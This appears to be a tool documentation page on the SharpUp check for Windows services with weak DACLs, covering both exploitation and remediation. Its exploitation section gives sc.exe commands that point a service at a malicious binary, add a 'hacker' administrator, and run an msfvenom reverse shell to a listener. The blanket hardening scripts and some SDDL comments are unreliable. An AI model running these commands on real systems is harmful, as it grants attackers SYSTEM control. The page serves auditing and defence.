Modifiable Services

Overview

The Modifiable Services check identifies Windows services where the service’s DACL (Discretionary Access Control List) allows the current user to modify service configuration. This is different from modifiable service binaries or registry keys - this check examines the service object’s permissions directly.

This is one of the most direct privilege escalation paths. If you can modify a service that runs as SYSTEM, you can execute arbitrary code with SYSTEM privileges.

How It Works

SharpUp queries each service’s security descriptor and checks for dangerous permissions: Checked Permissions:

SERVICE_CHANGE_CONFIG - Can reconfigure service
WRITE_DAC - Can modify service DACL
WRITE_OWNER - Can take ownership
GENERIC_ALL - Full control
GENERIC_WRITE - Generic write access
SERVICE_ALL_ACCESS - All service rights

Technical Details

Enumerate all services using ServiceController
Query service security descriptor via QueryServiceObjectSecurity
Parse DACL to find ACEs (Access Control Entries)
Check if current user/groups have dangerous rights
Report vulnerable services

Example Output

=== Modifiable Services ===
    Service 'VulnSvc' (State: Running, StartMode: Automatic)
    Service 'TestService' (State: Stopped, StartMode: Manual)

Interpretation:

You have permissions to reconfigure these services
VulnSvc is running and will restart automatically
You can change the executable path to your malicious binary

Exploitation

Method 1: Change Service Binary Path

# Reconfigure service to run your executable
sc config VulnSvc binpath= "C:\temp\malicious.exe"

# Restart service
sc stop VulnSvc
sc start VulnSvc

# Or restart computer if needed
shutdown /r /t 0

Method 2: Add User to Administrators

# Change service to add local admin
sc config VulnSvc binpath= "cmd.exe /c net user hacker P@ss /add && net localgroup administrators hacker /add"

# Start service
sc start VulnSvc

# Service will fail to start but commands execute first

Method 3: Service with Dependencies

# Change service binary path
sc config VulnSvc binpath= "C:\temp\shell.exe"

# Set dependency on a service that starts automatically
sc config VulnSvc depend= "LanmanWorkstation"

# Set to automatic start
sc config VulnSvc start= auto

# Reboot - service starts automatically at boot

Method 4: Reverse Shell

# Generate payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

# Upload to target
# Change service to run payload
sc config VulnSvc binpath= "C:\temp\shell.exe"
sc config VulnSvc start= demand

# Start service
sc start VulnSvc

Remediation

Identify Vulnerable Services

# Check service permissions
sc sdshow VulnSvc

Example output:

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWRPDTLOCRRC;;;AU)

Set Secure Permissions

# Set secure SDDL for service
# This SDDL allows:
# - SYSTEM: Full control
# - Administrators: Full control
# - Interactive Users: Start, stop, read
# - Authenticated Users: Read only

$secureSddl = "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)"

sc sdset VulnSvc $secureSddl

Bulk Remediation

# Check and fix all vulnerable services
$services = Get-Service

foreach ($service in $services) {
    $sddl = (sc.exe sdshow $service.Name | Out-String).Trim()

    # Check for problematic permissions
    # This is simplified - actual check would parse SDDL properly
    if ($sddl -match "WD|BU|AU.*WP") {
        Write-Host "[!] Vulnerable: $($service.Name)"

        # Apply secure SDDL
        sc.exe sdset $service.Name "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)"

        Write-Host "[+] Fixed: $($service.Name)"
    }
}

Verify Fix

# Re-run check
SharpUp.exe ModifiableServices

Understanding SDDL

Service permissions are defined using SDDL (Security Descriptor Definition Language):

D:                                          # DACL
(A;;CCLCSWRPWPDTLOCRRC;;;SY)               # SYSTEM: Read/Query
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)       # Administrators: Full Control
(A;;CCLCSWLOCRRC;;;IU)                     # Interactive Users: Start/Stop
(A;;CCLCSWLOCRRC;;;SU)                     # Service Users: Start/Stop

Access Rights:

CC - Query Config
LC - Query Status
SW - Enumerate Dependents
RP - Start Service
WP - Stop Service
DT - Pause/Continue
LO - Interrogate
CR - User-Defined Control
RC - Read Control (read security descriptor)
WD - Write DAC
WO - Write Owner
SD - Delete
DC - Change Config

Detection

Defensive Monitoring

# Enable auditing for service changes
auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable

# Monitor Event IDs:
# 4697 - Service installed
# 7045 - Service installed (System log)
# 4698 - Scheduled task created
# Monitor registry changes to service keys

Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} |
Select-Object TimeCreated, Message

Detection Strategies

Service Configuration Changes
Behavioral Detection
Permission Auditing

Monitor sc.exe executions
Alert on service ImagePath modifications
Track service DACL changes
Monitor service registry key modifications

Real-World Scenarios

Scenario 1: Misconfigured Custom Service

Context: IT team created custom service with “Users” group having modify permissions for troubleshooting.Attack Path:

User identifies modifiable service via SharpUp
Changes service ImagePath to malicious executable
Restarts service or waits for automatic restart
Gains SYSTEM privileges

Prevention:

Never grant Users modify rights on services
Use proper service account delegation
Remove troubleshooting permissions after testing

Scenario 2: Third-Party Software

Context: Third-party application installer set weak service permissions.Impact:

Any user can reconfigure the service
Service runs as LocalSystem
Complete system compromise possible

Solution:

Work with vendor to fix installer
Manually correct service permissions
Include in hardening baseline

Scenario 3: Service Installed by Non-Admin

Context: User installed application that creates service (via exploit or misconfiguration).Risk:

Creator has full control over service
Can leverage for privilege escalation
May affect other users

Fix:

Remove unauthorized services
Restrict service installation to administrators
Monitor service creation events

Prevention Best Practices

Least Privilege

Only SYSTEM and Administrators should have modify rights on services.

Regular Audits

Periodically scan and fix service permissions across all systems.

Group Policy

Use GPO to enforce service security configurations.

Monitoring

Enable audit policies and monitor service changes in real-time.

Service Hardening Script

# Comprehensive service hardening script
$report = @()
$services = Get-Service

foreach ($service in $services) {
    try {
        # Get current SDDL
        $currentSddl = (sc.exe sdshow $service.Name | Out-String).Trim()

        # Define secure SDDL
        $secureSddl = "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)"

        # Check if current SDDL differs from secure
        if ($currentSddl -ne $secureSddl) {
            # Backup current SDDL
            $report += [PSCustomObject]@{
                ServiceName = $service.Name
                OldSddl = $currentSddl
                Action = "Modified"
            }

            # Apply secure SDDL
            sc.exe sdset $service.Name $secureSddl | Out-Null

            Write-Host "[+] Hardened: $($service.Name)" -ForegroundColor Green
        }
    }
    catch {
        Write-Host "[-] Error processing $($service.Name): $($_.Exception.Message)" -ForegroundColor Yellow
    }
}

# Export report
if ($report) {
    $report | Export-Csv "C:\Audits\ServicePermissionChanges_$(Get-Date -Format yyyyMMdd).csv" -NoTypeInformation
    Write-Host "[+] Report saved to C:\Audits\ServicePermissionChanges_$(Get-Date -Format yyyyMMdd).csv"
}

Modifiable Service Binaries

Service executables with weak file permissions

Modifiable Service Registry Keys

Service registry keys with weak permissions

Unquoted Service Path

Services with exploitable unquoted paths

Remediation Guide

Comprehensive remediation guidance

References

Microsoft Docs

Service Security and Access Rights

MITRE ATT&CK

T1543.003 - Create or Modify System Process: Windows Service

Getting Started

Service Checks

Registry Checks

Credential Checks

DLL & Path Checks

Token & Privileges

Remediation

Overview

How It Works

Technical Details

Example Output

Exploitation

Method 1: Change Service Binary Path

Method 2: Add User to Administrators

Method 3: Service with Dependencies

Method 4: Reverse Shell

Remediation

Understanding SDDL

Detection

Defensive Monitoring

Detection Strategies

Real-World Scenarios

Prevention Best Practices

Least Privilege

Regular Audits

Group Policy

Monitoring

Service Hardening Script

Modifiable Service Binaries

Modifiable Service Registry Keys

Unquoted Service Path

Remediation Guide

References

Microsoft Docs

MITRE ATT&CK

Getting Started

Service Checks

Registry Checks

Credential Checks

DLL & Path Checks

Token & Privileges

Remediation

​Overview

​How It Works

​Technical Details

​Example Output

​Exploitation

​Method 1: Change Service Binary Path

​Method 2: Add User to Administrators

​Method 3: Service with Dependencies

​Method 4: Reverse Shell

​Remediation

​Understanding SDDL

​Detection

​Defensive Monitoring

​Detection Strategies

​Real-World Scenarios

​Prevention Best Practices

Least Privilege

Regular Audits

Group Policy

Monitoring

​Service Hardening Script

​Related Checks

Modifiable Service Binaries

Modifiable Service Registry Keys

Unquoted Service Path

Remediation Guide

​References

Microsoft Docs

MITRE ATT&CK

Overview

How It Works

Technical Details

Example Output

Exploitation

Method 1: Change Service Binary Path

Method 2: Add User to Administrators

Method 3: Service with Dependencies

Method 4: Reverse Shell

Remediation

Understanding SDDL

Detection

Defensive Monitoring

Detection Strategies

Real-World Scenarios

Prevention Best Practices

Service Hardening Script

Related Checks

References